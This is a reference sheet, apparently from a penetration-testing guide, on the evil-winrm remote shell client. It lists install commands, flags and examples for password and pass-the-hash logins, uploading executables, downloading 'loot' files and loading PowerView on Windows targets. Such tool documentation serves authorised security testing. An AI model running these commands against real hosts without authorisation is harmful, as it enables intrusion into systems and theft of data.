Overview
evil-winrm is a Ruby-based shell client for WinRM (Windows Remote Management) designed for penetration testing. It provides a full interactive PowerShell session on a remote Windows host using WinRM, supporting file upload/download, in-memory .NET assembly loading, pass-the-hash authentication, and SSL. It is the standard tool for post-credential WinRM access from a Linux attack host.
Target / Context
Windows hosts with WinRM enabled (TCP/5985 HTTP or TCP/5986 HTTPS). Requires valid credentials, a hash (PTH), or a valid certificate.
Installation
Installation Commands:
sudo gem install evil-winrm
Or via apt on Kali/Parrot:
sudo apt install evil-winrm
Basic Usage
Basic Usage:
Connect with username/password:
evil-winrm -i <target_ip> -u <username> -p <password>
Example:
evil-winrm -i 10.129.201.248 -u Cry0l1t3 -p P455w0rD!
Flags & Options
Flags & Options:
| Flag | Description | Example |
|---|---|---|
-i | Target IP address | -i 10.129.201.248 |
-u | Username | -u administrator |
-p | Password | -p P@ssw0rd |
-H | NTLM hash for pass-the-hash | -H <NT_hash> |
-P | WinRM port (default 5985) | -P 5985 |
-S | Use SSL (port 5986) | -S |
-c | Path to SSL certificate | -c /path/to/cert.pem |
-k | Path to SSL private key | -k /path/to/key.pem |
-e | Directory for executables to load into memory | -e /opt/exes/ |
-s | Path to PowerShell scripts to load | -s /opt/scripts/ |
Common Use Cases
Basic Authenticated Shell
Commands:
evil-winrm -i 10.129.201.248 -u administrator -p "P@ssw0rd"
Pass-the-Hash (PTH)
Commands:
evil-winrm -i 10.129.201.248 -u administrator -H <NTLM_hash>
No password needed — uses the NTLM hash directly.
File Transfer
Commands:
Upload a file to the remote system:
upload /local/path/file.exe C:\Windows\Temp\file.exe
Download a file from the remote system:
download C:\Windows\Temp\loot.txt /local/path/loot.txt
(Commands run inside the evil-winrm session)
Load PowerShell Script Into Session
Commands:
evil-winrm -i <target> -u <user> -p <pass> -s /opt/scripts/
Inside session: PowerView.ps1 then Get-Domain
Related Concepts
Related Techniques
- Service Enumeration